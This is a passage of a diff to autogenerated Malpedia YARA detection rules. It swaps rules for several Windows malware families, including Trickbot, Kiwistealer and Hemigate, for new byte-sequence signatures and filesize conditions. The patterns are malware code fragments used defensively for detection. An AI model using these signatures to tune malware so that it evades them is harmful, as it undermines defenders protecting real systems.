} - $sequence_1 = { 89b5e4edffff 33c0 c785c0edffff00000000 50 51 8d8dccedffff c785e0edffff07000000 } - $sequence_2 = { 56 e8???????? 8b8d60ffffff 8bf8 8b45f0 83c404 8930 } - $sequence_3 = { 8bf8 83c404 85ff 0f84e4000000 6804010000 57 } - $sequence_4 = { 51 8d4dc0 c745e400000000 e8???????? c745fc00000000 } - $sequence_5 = { 0fb78194f74100 8d4902 6689840deafbffff 6685c0 75e9 56 } - $sequence_6 = { c745c000000000 c745c400000000 c745c800000000 ff15???????? 898554ffffff 57 85c0 } - $sequence_7 = { 0bc8 51 53 e8???????? 8bd8 83c408 85db } - $sequence_8 = { c3 56 57 53 ff75f4 ff75f8 } - $sequence_9 = { 83c202 6685c0 75f5 2bd1 8d8df8deffff d1fa 03d2 } + $sequence_0 = { e8???????? 4881c490000000 5b c3 4055 } + $sequence_1 = { 48833d????????00 7405 e8???????? 48833d????????00 7417 488d4dd0 ff15???????? } + $sequence_2 = { 488b9c2490000000 0f57c0 4d8bf0 488bea 0f1103 0f114310 48894320 } + $sequence_3 = { 66480f6ec2 0f16c0 0f1101 4c03c1 4883c110 4883e1f0 } + $sequence_4 = { 488945d8 488d442420 f30f7f45e4 c745e003500000 0f1005???????? } + $sequence_5 = { ff15???????? 488b0d???????? 488d842498000000 4889442430 33d2 48895c2428 } + $sequence_6 = { 488364243800 498bd8 488364245000 488bfa 488bf1 33d2 } + $sequence_7 = { 4881c490000000 5b c3 4055 53 56 57 } + $sequence_8 = { 4983f84f 7350 4d8bc8 4983e1f8 } + $sequence_9 = { 0f100d???????? 83a5a000000000 488d542460 488b0d???????? 4533c9 f30f7f45a0 } condition: - 7 of them and filesize < 327680 + 7 of them and filesize < 99328 } -rule MALPEDIA_Win_Slave_Auto : FILE +rule MALPEDIA_Win_Get2_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9b0051d5-869a-52df-9d63-5531f0ea1bc8" + id = "7a0226d0-f79d-5836-a967-6167cb32e47b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slave" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slave_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.get2" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.get2_auto.yar#L1-L165" license_url = "N/A" - logic_hash = "523de3cfcbf6b6abf4a7273f5bce657ee9b1b72d0e892b1b3170df330ecf9a83" + logic_hash = "848d65ded147178f011a1ef08b3d4ca3bdaaa4bd6535c16bb052e44171fc3a23" score = 75 quality = 75 tags = "FILE" @@ -102718,32 +102955,38 @@ rule MALPEDIA_Win_Slave_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? 837df400 0f84f7250000 b80a000000 66894706 8a4704 24c3 } - $sequence_1 = { 0c10 888694030000 eb8d 817b0800000040 0f85ea020000 8a9694030000 8a5c240e } - $sequence_2 = { 813e6f563412 7406 5e 33c0 5b 5d c3 } - $sequence_3 = { 833d????????00 c705????????00000000 740a b9???????? e8???????? 833d????????00 c705????????00000000 } - $sequence_4 = { 3d00000001 0f8456030000 3d00000002 0f859a240000 } - $sequence_5 = { 837f7401 894de8 7620 83bf8400000000 7417 8b8780000000 0345f4 } - $sequence_6 = { 8bc8 83c408 3bd9 750b } - $sequence_7 = { 83c40c 028e08010000 888e08010000 80f9ff 730c 0fb6c1 } - $sequence_8 = { 7307 0fb6c2 2bc8 eb02 33c9 0fb6c2 68???????? } - $sequence_9 = { ff15???????? 5f 5e c3 837e1800 7445 90 } + $sequence_0 = { e8???????? 8b4508 8be5 5d c20400 68d0000000 b8???????? } + $sequence_1 = { 0f849e000000 807d0c00 0f859a000000 f6c104 } + $sequence_2 = { 8bf1 8975d0 33ff 8975cc } + $sequence_3 = { 8b4508 660f6ec1 f30fe6c0 c1e91f 51 51 660f6ec8 } + $sequence_4 = { 8d55d8 8d8d24ffffff e8???????? 59 8bc8 } + $sequence_5 = { 83e017 89410c 8b4910 23c8 0f849e000000 807d0c00 } + $sequence_6 = { 895dfc e8???????? c645fc02 eb0b 8d45d8 } + $sequence_7 = { 897e04 897e08 33db c745ec07000000 } + $sequence_8 = { 488d7b38 488d05a6020200 483947f0 741a 488b0f 4885c9 } + $sequence_9 = { 4863c8 488b4308 48894cd008 483b6b10 0f83ba010000 } + $sequence_10 = { 488d8c24f0020000 e8???????? 90 418bd5 488d8c2470040000 } + $sequence_11 = { 488d4c2450 e8???????? 498bcc e8???????? 4c8b642468 } + $sequence_12 = { eb0f 49394e10 720b bb02000000 895c2420 } + $sequence_13 = { 440f45e8 410fb6dd 4c8b7df0 498bcf ff15???????? eb0d } + $sequence_14 = { 488d0503b20200 488bd9 488901 f6c201 740a } + $sequence_15 = { 4c8d0510e00100 488d15c9a40100 e8???????? 488bd8 } condition: - 7 of them and filesize < 532480 + 7 of them and filesize < 720896 } -rule MALPEDIA_Win_Hermeticwizard_Auto : FILE +rule MALPEDIA_Win_Soundbill_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a90e0914-4bb5-5c18-8701-049f4c06d7e8" + id = "fc6eb91d-5824-524d-bbb8-b5d2b50f1e71" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwizard" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hermeticwizard_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbill" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.soundbill_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "942915314ef1e17eaccf9202ed3b81b64aa22d4533742c599cd868661ae4ab21" + logic_hash = "23246153789cca2dc7fd1119b61492f6729a30eebbbf9247088b38725417e92a" score = 75 quality = 75 tags = "FILE" @@ -102757,32 +103000,32 @@ rule MALPEDIA_Win_Hermeticwizard_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6800080000 50 e8???????? 83c410 85c0 } - $sequence_1 = { 1bdb 83cb01 85db 0f94c0 } - $sequence_2 = { 6685db 7415 668b5902 663b5f02 750f 83c104 83c704 } - $sequence_3 = { 6689853effffff 66898540ffffff 33c0 66898542ffffff 8b45f8 66898d16ffffff } - $sequence_4 = { 3bc7 7442 8b35???????? 83c008 50 } - $sequence_5 = { 57 8bf1 8bfa 68???????? 56 ff15???????? 85c0 } - $sequence_6 = { 894310 8b45f0 c745ec989d0110 8d1486 } - $sequence_7 = { 7410 68???????? 8bce e8???????? 59 894308 } - $sequence_8 = { 668b4104 663b4204 750b 8b4108 3b4208 7503 } - $sequence_9 = { 50 e8???????? 3b30 7533 8b45fc } + $sequence_0 = { 55 56 4881ecb0030000 488b05???????? 4833c4 4889842470030000 488b8424f0030000 } + $sequence_1 = { 488b8da0000000 e8???????? 4883c420 5d c3 488d8a70000000 e9???????? } + $sequence_2 = { 750e 85c9 0f95c0 8806 83f901 760c eb03 } + $sequence_3 = { 48894a08 488d4808 e8???????? 488d0579b00200 488903 488bc3 4883c420 } + $sequence_4 = { f20f5ce9 f2410f1004c1 488d15562b0100 f20f1014c2 } + $sequence_5 = { c644243001 44397c2440 7f10 ff442434 4885c9 7426 c644243c01 } + $sequence_6 = { 483305???????? 488d1516b70200 488bcb 488905???????? ff15???????? 483305???????? } + $sequence_7 = { ffd7 4c8bf0 4885c0 751e 498bcf ff15???????? 488bce } + $sequence_8 = { 418d542416 488d0d3f4b0100 e8???????? 488b0b 66443921 488bcb 744d } + $sequence_9 = { 8b4018 25c0010000 83f840 0f84e7010000 } condition: - 7 of them and filesize < 263168 + 7 of them and filesize < 973824 } -rule MALPEDIA_Win_Karagany_Auto : FILE +rule MALPEDIA_Win_Hemigate_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3572ccbc-1c3c-5c06-9653-09cc26e9f425" + id = "7f247b7a-51fa-56b6-b5ca-706ac00fbf7d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karagany" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.karagany_auto.yar#L1-L111" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hemigate" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hemigate_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "7b1e13963414e6b2e1af9eb1a6f96423af34e9bc7a849bda8fce35a0e1356973" + logic_hash = "05c380bd4c229bd57061005a2f77b730cb7f642aa2a7c3aed0193470cbd60a00" score = 75 quality = 75 tags = "FILE" @@ -102796,32 +103039,32 @@ rule MALPEDIA_Win_Karagany_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8945d0 8945d8 8945e0 8945e8 8945ec 8945f4 } - $sequence_1 = { 8bf8 6a03 57 ffd6 } - $sequence_2 = { 57 8bf8 6a03 57 } - $sequence_3 = { 8945d8 8945e0 8945e8 8945ec 8945f4 } - $sequence_4 = { 6a40 6800300000 6800000300 6a00 } - $sequence_5 = { 8b4508 0526f8ffff 69c06c010000 034510 } - $sequence_6 = { 8bec 81ec60060000 53 56 57 33c0 } - $sequence_7 = { ff15???????? 6a00 53 68???????? } - $sequence_8 = { 68???????? 8d85a4fdffff 50 ffd6 68???????? } - $sequence_9 = { 8bd8 2bc7 40 50 57 } + $sequence_0 = { 85f6 0f8597000000 8bd3 8d4ddc e8???????? 8bf0 85f6 } + $sequence_1 = { c1e208 0bd1 0fb64f06 3155a8 0fb65707 c1e208 0bd1 } + $sequence_2 = { c3 ff75f4 ff36 ff15???????? 8bf0 83c408 85f6 } + $sequence_3 = { 8b550c 8d45d4 50 8d8fa8000000 e8???????? 8b55cc 8d8fb8110100 } + $sequence_4 = { 83f801 0f85b8000000 ffb55cf7ffff ffd3 0fb7c0 8d9554f7ffff 6a02 } + $sequence_5 = { c1c919 33c8 8b75ec 8bc7 8b7de8 c1c806 33c8 } + $sequence_6 = { c1e903 f7e1 56 c1ea03 33f6 8d0492 03c0 } + $sequence_7 = { eb48 b840000000 8bfb 2bc1 3bd8 0f43f8 8d462c } + $sequence_8 = { 0f84a4f4ffff 8b45c8 0345c4 53 50 51 e8???????? } + $sequence_9 = { 8d742418 8bf8 f3a5 8143080c020000 e9???????? 8d4c2418 51 } condition: - 7 of them and filesize < 180224 + 7 of them and filesize < 991232 } -rule MALPEDIA_Win_Alpc_Lpe_Auto : FILE +rule MALPEDIA_Win_Webc2_Head_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9201dab6-c827-5ba9-b6a2-6cc5f0b64e34" + id = "2d2a730d-97a8-5241-8842-4f785d02a551" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alpc_lpe_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_head_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "f47b6095e2a1dadfd3fc285c90742ae34b69859fcd8b2fa148af803fa48f9175" + logic_hash = "de901b0b98bf3f5b5c73a555d4c5ec984c92ea5b4ae983fcd4805edfd4129476" score = 75 quality = 75 tags = "FILE" @@ -102835,32 +103078,32 @@ rule MALPEDIA_Win_Alpc_Lpe_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c9 0f1f440000 0fb70429 4883c102 6689440ffc 6685c0 } - $sequence_1 = { 48894540 c7455040000000 48c7454800000000 48c7455800000000 48c7456000000000 48c785c800000000000000 c785e800000000000000 } - $sequence_2 = { 488bfc b932000000 b8cccccccc f3ab 488b8c24e8000000 488b85e0000000 488b4008 } - $sequence_3 = { 488b8d00010000 e8???????? 488b8dd8000000 488bd1 488bc8 e8???????? } - $sequence_4 = { 488d1d5c8e0000 8bf7 488b2b 4885ed 741b 837b0801 7415 } - $sequence_5 = { 488bec 488bfc b932000000 b8cccccccc f3ab 488b8c24e8000000 488b85e0000000 } - $sequence_6 = { 488b8d08010000 488908 48837d0800 7418 488b8d00010000 e8???????? } - $sequence_7 = { 83f8ff 7526 4c8d2587860000 493bdc } - $sequence_8 = { b8cccccccc f3ab 488b8c24e8000000 488b85e0000000 48c70000000000 488b85e0000000 488da5c8000000 } - $sequence_9 = { 4c8b8500010000 488bd0 488d0d60b20000 e8???????? 48894508 8b4508 8bf8 } + $sequence_0 = { a4 8d049500000000 8d0c52 89442418 894c2438 8b44241c 8b00 } + $sequence_1 = { 735a 8bc8 83e01f c1f905 8b0c8d40cb4000 } + $sequence_2 = { 0f8550ffffff 8b542424 8b4c241c 3bd1 0f8dc9000000 2bca } + $sequence_3 = { 83c40c f2ae f7d1 49 894c2414 7511 bf???????? } + $sequence_4 = { 0fb6fa 3bc7 7714 8b55fc 8a9220994000 } + $sequence_5 = { f2ae f7d1 49 51 68???????? 50 50 } + $sequence_6 = { 8d9e38994000 803b00 8bcb 742c } + $sequence_7 = { f7d1 49 68???????? 68???????? 894c2438 e8???????? } + $sequence_8 = { f3ab 68???????? e8???????? 6a03 68???????? 68???????? } + $sequence_9 = { 8b6c2424 884603 83c604 89742410 8bde } condition: - 7 of them and filesize < 540672 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Supper_Auto : FILE +rule MALPEDIA_Win_Kiwistealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "15a5fdcc-983f-545a-acdb-1425e0080fb1" + id = "7bc76ddb-b6a4-53dd-88a7-f41bc1cc2494" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.supper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.supper_auto.yar#L1-L164" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kiwistealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kiwistealer_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "609470a8924c4445e40bf6082d5cbc00c8d1a1556bb0036cf2444493aad439fc" + logic_hash = "27341d3fac694e410d992d38e84f32a2cf2b6688bb4c9bbb3f17b7cb4866a5bf" score = 75 quality = 75 tags = "FILE" @@ -102874,38 +103117,32 @@ rule MALPEDIA_Win_Supper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { baffffffff 89cb 488b0d???????? ff15???????? } - $sequence_1 = { 74ed 8844242f e8???????? 0fb644242f 48c705????????00000000 4883c438 } - $sequence_2 = { 488905???????? e8???????? 84c0 7407 4883c438 5b } - $sequence_3 = { 488905???????? ffd6 48891d???????? 488905???????? } - $sequence_4 = { 4889cb 31c9 ffd6 4531c0 31d2 31c9 } - $sequence_5 = { 488905???????? 31c0 4883c428 5b 5e c3 } - $sequence_6 = { ba01000000 4c8b25???????? 41ffd4 85c0 } - $sequence_7 = { 4531c0 488b4b08 ba01000000 41ffd4 85c0 } - $sequence_8 = { e8???????? 488b4510 488b00 4885c0 } - $sequence_9 = { 0fb700 0fb7d0 488b85c0000000 4883c004 4189d0 } - $sequence_10 = { 66894510 c645ff00 488b05???????? baffffffff } - $sequence_11 = { 4883bdc000000000 750a b800000000 e9???????? 488b85c0000000 } - $sequence_12 = { ba04000000 4889c1 e8???????? 488b85e0000000 } - $sequence_13 = { 4889c1 e8???????? 8b45dc 89c0 4889c1 e8???????? } - $sequence_14 = { c744242004000000 4989d1 41b801000000 ba06000000 4889c1 e8???????? } - $sequence_15 = { c3 55 4881ec50010000 488dac2480000000 48898de0000000 488b85e0000000 0fb7400c } + $sequence_0 = { 4585c9 7462 4183e901 740f 4183f901 0f85d6000000 } + $sequence_1 = { 4885c0 740e 488d7027 4883e6e0 488946f8 eb14 ff15???????? } + $sequence_2 = { 488b05???????? 4885c9 480f45c1 483b05???????? 747e 4c8bc6 488d542470 } + $sequence_3 = { 0f118424b0020000 0f104810 0f118c24c0020000 4c896010 48c740180f000000 c60000 4c8d8c2458030000 } + $sequence_4 = { e9???????? 4983c5c0 4c896c2428 493bdc 0f85bc000000 4983ee40 4c89742420 } + $sequence_5 = { e8???????? 43c6042e00 4533f6 488d45d8 48837df010 480f4345d8 4c89742438 } + $sequence_6 = { 488b05???????? 488905???????? 488d0d3d110200 e8???????? 8bc8 486bc10b 83f803 } + $sequence_7 = { 0f118590000000 418d4c2440 e8???????? 488bd8 4889442428 33d2 488bc8 } + $sequence_8 = { 41c70005000000 49894008 498bc0 41c6400401 c3 8bca 81e9d4040000 } + $sequence_9 = { 4883ec70 488bf9 4533f6 44897098 488d2db0920000 488968a0 0f57c0 } condition: - 7 of them and filesize < 517120 + 7 of them and filesize < 403456 } -rule MALPEDIA_Win_Miragefox_Auto : FILE +rule MALPEDIA_Win_Poldat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "845d5292-b7ea-5816-ae3f-26f365bc2587" + id = "42cee7c4-4091-565d-9c3d-72814a243e33" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miragefox" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miragefox_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poldat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poldat_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "3f9732b4e7f509d0ad8d4d1803424245eb1ca2a613f2fd892ba39e0af22d7971" + logic_hash = "623b16e441bfe440967c1ef70315e2275e1dcbf3de26c2e6e7dae46aecf0c483" score = 75 quality = 75 tags = "FILE" @@ -102919,32 +103156,32 @@ rule MALPEDIA_Win_Miragefox_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8945ca 8b45f4 83c036 66c745c8424d } - $sequence_1 = { 8b45e0 8b4df4 53 50 8d440828 50 } - $sequence_2 = { 8a8010132a00 83e00f eb02 33c0 0fbe84c130132a00 c1f804 } - $sequence_3 = { 8d45fc 50 e8???????? 59 8d44180c } - $sequence_4 = { 57 8d859c7cffff 6a00 50 e8???????? 57 } - $sequence_5 = { 2900 59 352900be35 2900 3236 2900 98 } - $sequence_6 = { 83c418 8d45ec 53 50 8d857cbcffff } - $sequence_7 = { 85c0 0f84be000000 8d85c0feffff 50 8d85b8fcffff 68???????? 50 } - $sequence_8 = { 83c01f 894d8c 99 59 8b75b8 f7f9 8b4df4 } - $sequence_9 = { 8d45f0 8975ec 50 8d45f8 } + $sequence_0 = { e8???????? 8b4514 83c410 8906 8b4510 } + $sequence_1 = { c74724c0324000 8b4c2418 83f9ff 750c c744241806000000 8b4c2418 } + $sequence_2 = { 89be4c0c0000 89be500c0000 89be540c0000 8bc6 5f } + $sequence_3 = { 8b4720 895718 3bc2 750a c74720a0324000 } + $sequence_4 = { 8d888c000000 8d9080090000 8988100b0000 8d88740a0000 8988280b0000 33c9 c780180b000018b24100 } + $sequence_5 = { 50 e8???????? 55 8d86bc0a0000 57 50 c786b80a0000901f0000 } + $sequence_6 = { 8bc7 83e007 83ed03 8b148dbc9c4100 } + $sequence_7 = { c3 55 8bec 81ec68040000 8065fc00 53 56 } + $sequence_8 = { 2bc8 03c7 51 6a00 8d441804 50 } + $sequence_9 = { 50 e8???????? 59 e8???????? 6a04 99 } condition: - 7 of them and filesize < 286720 + 7 of them and filesize < 247808 } -rule MALPEDIA_Win_Webc2_Bolid_Auto : FILE +rule MALPEDIA_Win_Pslogger_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d7b8b0f8-fb67-56c4-b24d-dcdab9f7b909" + id = "7125bcf7-61fe-59fe-bcb6-1726a032b5b5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_bolid" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_bolid_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pslogger" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pslogger_auto.yar#L1-L166" license_url = "N/A" - logic_hash = "a9749882fbe9a2a48ffae4420a547a6fbd11851e4362f65200b42858f5a2933e" + logic_hash = "f827a0de7cefc58a148c7605b546e1b2c29f64eac98a4dd15fd09ff9985d232c" score = 75 quality = 75 tags = "FILE" @@ -102958,34 +103195,40 @@ rule MALPEDIA_Win_Webc2_Bolid_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7f31 8b8bc8000000 8b93c4000000 6a00 41 6a00 } - $sequence_1 = { e8???????? 84c0 7427 8bcf 8b7b70 8d436c 8bd1 } - $sequence_2 = { 8b55ec 8d8d54ffffff 51 52 50 8d45a0 50 } - $sequence_3 = { e8???????? 8bd8 3bde 0f8e0c060000 8a451b 56 8d8d58ffffff } - $sequence_4 = { 83c40c 8b15???????? 8d4de4 52 } - $sequence_5 = { 8b4dec 8b75e4 03c1 894508 } - $sequence_6 = { fec8 8801 eb09 51 e8???????? 83c404 8b7db8 } - $sequence_7 = { 50 c3 6a02 e8???????? 59 c3 } - $sequence_8 = { 8a01 4a 0fb6f0 f6860132410004 8807 7413 47 } - $sequence_9 = { c68424240200000d e8???????? 83ec10 8d9424a0000000 8bcc 89a424c4000000 52 } + $sequence_0 = { e8???????? 8bc8 e8???????? 4863f0 } + $sequence_1 = { 4885c9 7406 ff15???????? 4883c318 } + $sequence_2 = { 8d4601 4863e8 488bcd e8???????? } + $sequence_3 = { 483bc8 740e 4885c9 7406 } + $sequence_4 = { ff15???????? b801000000 488b8c2488000000 4833cc e8???????? } + $sequence_5 = { 498bcc e8???????? 33d2 41b8b80b0000 498bcc } + $sequence_6 = { c3 488b0d???????? 33d2 ff15???????? 488b0d???????? 33d2 ff15???????? } + $sequence_7 = { b910000000 ff15???????? 6685c0 7910 b914000000 ff15???????? 6685c0 } + $sequence_8 = { 895c2414 ff35???????? ffd6 e9???????? 85c9 } + $sequence_9 = { 8bf0 83c408 85f6 0f84e8000000 8bce 8d5101 } + $sequence_10 = { 85c0 7e25 66660f1f840000000000 8894373d1c0000 b801000000 } + $sequence_11 = { 393b 0f45f8 33c9 89bd58fbffff 0f1f4000 } + $sequence_12 = { 6bc830 8b049588b14200 f644082801 7414 8d4508 8945fc 8d45fc } + $sequence_13 = { 68???????? 50 e8???????? 8d842470030000 68???????? 50 e8???????? } + $sequence_14 = { 85c0 0f8568fcffff 668b8594fbffff 83431810 } + $sequence_15 = { 58 668906 8b048d88b14200 6a0a 8854382a } condition: - 7 of them and filesize < 163840 + 7 of them and filesize < 475136 } -rule MALPEDIA_Win_Farseer_Auto : FILE +rule MALPEDIA_Win_Trickbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a66e9913-f269-5edc-a360-d1e8d3201a95" + id = "7dec44a5-ed16-520b-98af-bb6c41308144" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.farseer_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.trickbot_auto.yar#L1-L647" license_url = "N/A" - logic_hash = "a0cc6c15e80fbd6ad14902af9a89ab7d523ee3b95c547b4caf6b73d387698705" + logic_hash = "2410d16d7ee16128151b288938666126105e8a07f0144c47c922a04a3e6d63dc" score = 75 - quality = 75 + quality = 48 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -102997,32 +103240,100 @@ rule MALPEDIA_Win_Farseer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b46f4 8b4804 c74431f49c064200 8b56fc 8b4204 c74430fc???????? 8b4ef4 } - $sequence_1 = { 8b4d0c 8bfb e8???????? 8b4c2414 8b3d???????? } - $sequence_2 = { 68???????? 8d4c2440 c74424580f000000 c744245400000000 c644244400 e8???????? } - $sequence_3 = { 8b7d14 8bc7 3bc7 7300 8bd7 83ff01 7205 } - $sequence_4 = { 51 c78424a000000002000000 e8???????? 68???????? 8d542450 52 } - $sequence_5 = { ffd5 85c0 7e2f 03f0 81fe00040000 7ce1 33c0 } - $sequence_6 = { 6a00 51 c684241409000000 e8???????? 83c40c 8dbc2408090000 } - $sequence_7 = { ff15???????? 6804010000 8d54245a b901000000 52 } - $sequence_8 = { 8d048520634200 83e31f 8985e4efffff 8b00 c1e306 03c3 8a4824 } - $sequence_9 = { 64890d00000000 59 5f 5e 5d 5b 8b8c24a0020000 } + $sequence_0 = { 1bc0 83e020 83c020 eb36 } + $sequence_1 = { 83c010 eb25 a900000040 7411 2500000080 f7d8 1bc0 } + $sequence_2 = { eb36 2500000080 f7d8 1bc0 83e070 83c010 eb25 } + $sequence_3 = { f7d8 1bc0 83e002 83c002 eb0d 2500000080 f7d8 } + $sequence_4 = { 8b07 a900000020 7429 a900000040 } + $sequence_5 = { c705????????fdffffff c705????????feffffff c705????????ffffffff e8???????? } + $sequence_6 = { 895df8 895df4 895dec 66c745f00005 895dfc } + $sequence_7 = { 8902 3bcb 7507 5f 5e } + $sequence_8 = { 8d1489 8d0cd0 8b4114 2b410c } + $sequence_9 = { 41 83c028 3bce 7ce9 } + $sequence_10 = { 1bc0 83e007 40 8b4fe8 } + $sequence_11 = { 488b5118 4889442440 488b4148 4889442438 } + $sequence_12 = { 488b4138 4889442428 488b4130 488b4910 4889442420 41ffd2 } + $sequence_13 = { 4c8b4120 488b5118 4889442438 488b4140 } + $sequence_14 = { 488b01 4c8b4120 488b5118 488b4910 } + $sequence_15 = { 488b01 488b5118 488b4910 ffd0 } + $sequence_16 = { 488b4148 4c8b11 4c8b4928 4c8b4120 488b5118 } + $sequence_17 = { 488b4148 4889442438 488b4140 4889442430 488b4138 4889442428 488b4130 } + $sequence_18 = { 48397c2430 0f94c3 8bc3 488b5c2450 4883c440 } + $sequence_19 = { 6644891b 664183fb1a 7307 664183c341 eb13 } + $sequence_20 = { 83780400 7404 8b4008 c3 } + $sequence_21 = { 2bc2 d1e8 03c2 c1e806 6bc05f } + $sequence_22 = { 6820bf0200 68905f0100 68905f0100 50 } + $sequence_23 = { 51 68e9fd0000 50 e8???????? } + $sequence_24 = { 6a40 6800300000 6a70 6a00 } + $sequence_25 = { 8d440002 6a00 50 e8???????? } + $sequence_26 = { c3 6a01 ff15???????? 50 } + $sequence_27 = { 85c0 7f0b e8???????? 8b05???????? } + $sequence_28 = { e8???????? 83f801 7411 ba0a000000 } + $sequence_29 = { 8b45f8 5f c60000 2b450c 5e } + $sequence_30 = { 8b01 59 03d0 52 ebdc 89450c } + $sequence_31 = { 8bc1 66ad 85c0 741c } + $sequence_32 = { 50 8b450c ff4d0c ba28000000 f7e2 } + $sequence_33 = { 7405 e8???????? ff15???????? 8bc3 } + $sequence_34 = { ff5508 8b5510 8b4a04 ff5508 50 51 } + $sequence_35 = { 2bc1 8b00 3bc7 72f2 } + $sequence_36 = { ff5508 58 894514 8b5510 } + $sequence_37 = { 03d0 895510 8b4a04 ff5508 8b5510 8b4a0c } + $sequence_38 = { c1e102 2bc1 8b00 894508 } + $sequence_39 = { 85c0 741c 3bc1 7213 } + $sequence_40 = { 3bc1 7703 894df4 8b47fc } + $sequence_41 = { 0f8280000000 813950450000 7578 f6411602 7472 } + $sequence_42 = { f7e2 8d9500040000 03d0 895510 } + $sequence_43 = { c744242000300000 ff15???????? 85c0 7911 } + $sequence_44 = { 790f 8bc8 e8???????? 8d5e10 } + $sequence_45 = { 8bcf e8???????? 8bf0 85ed } + $sequence_46 = { 7911 8bc8 e8???????? bb10000000 } + $sequence_47 = { 33c9 33d2 ff15???????? 85c0 } + $sequence_48 = { 7c22 3c39 7f1e 0fbec0 } + $sequence_49 = { 7536 b906000000 8bc1 c3 } + $sequence_50 = { 58 41 41 41 41 } + $sequence_51 = { 8bcd 84c0 742e 660f1f440000 3c30 7c22 } + $sequence_52 = { ff15???????? 8bf0 c1ee1f 83f601 } + $sequence_53 = { ff15???????? 85c0 0f89d2000000 8bc8 e8???????? } + $sequence_54 = { eb0a 83f802 742b 83f803 745b } + $sequence_55 = { 8bc8 33c0 85c9 0f95c0 eb02 } + $sequence_56 = { 41 41 50 2bc1 8b00 } + $sequence_57 = { 2bc1 